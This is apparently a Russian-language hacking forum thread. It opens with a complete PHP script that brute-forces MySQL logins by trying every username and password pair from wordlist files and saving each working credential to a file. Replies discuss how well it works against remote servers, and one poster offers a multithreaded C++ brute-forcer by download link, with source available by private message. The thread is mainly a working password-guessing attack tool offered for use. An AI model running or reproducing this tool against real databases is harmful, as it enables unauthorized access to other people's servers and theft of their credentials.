Вариант на PHP PHP: <?php $host = "localhost"; $port = "3306"; $uid_file = file("login.txt"); $pwd_file = file("passw.txt"); $brute_save = fopen("brute_save.txt","a+"); $yes_connect = 0; $no_connect = 0; for($i=0; $i<count($uid_file); $i++) { $login = trim($uid_file[$i]); for($j=0; $j<count($pwd_file); $j++) { $passwd = trim($pwd_file[$j]); if($conn = @mysql_connect($host.":".$port, $login, $passwd)) { flock($brute_save, 3); fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n"); flock($brute_save, 1); mysql_close($conn); $yes_connect++; } else { $no_connect++; continue; } } } echo "<font face=Tahoma color=#444444 size=2>Удачных подключений: $yes_connect</font><br>"; echo "<font face=Tahoma color=red size=2>Неудачных попыток: $no_connect</font><br>"; $show_brute = file("brute_save.txt"); for($i=0; $i<count($show_brute); $i++) { list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]); echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font><br>"; } ?>
Redwood На локал хосте скорость просто поражает... А если указывать другой сервер, то тут он не работает...
Написал сейчас на C++ (VS 2008) http://depositfiles.com/files/jzvxmk36v http://slil.ru/29197733 (ссылки обновлены, теперь включают libmysql.dll) Брутит по спискам, для каждого пользователя отдельный поток. За сорсами в пм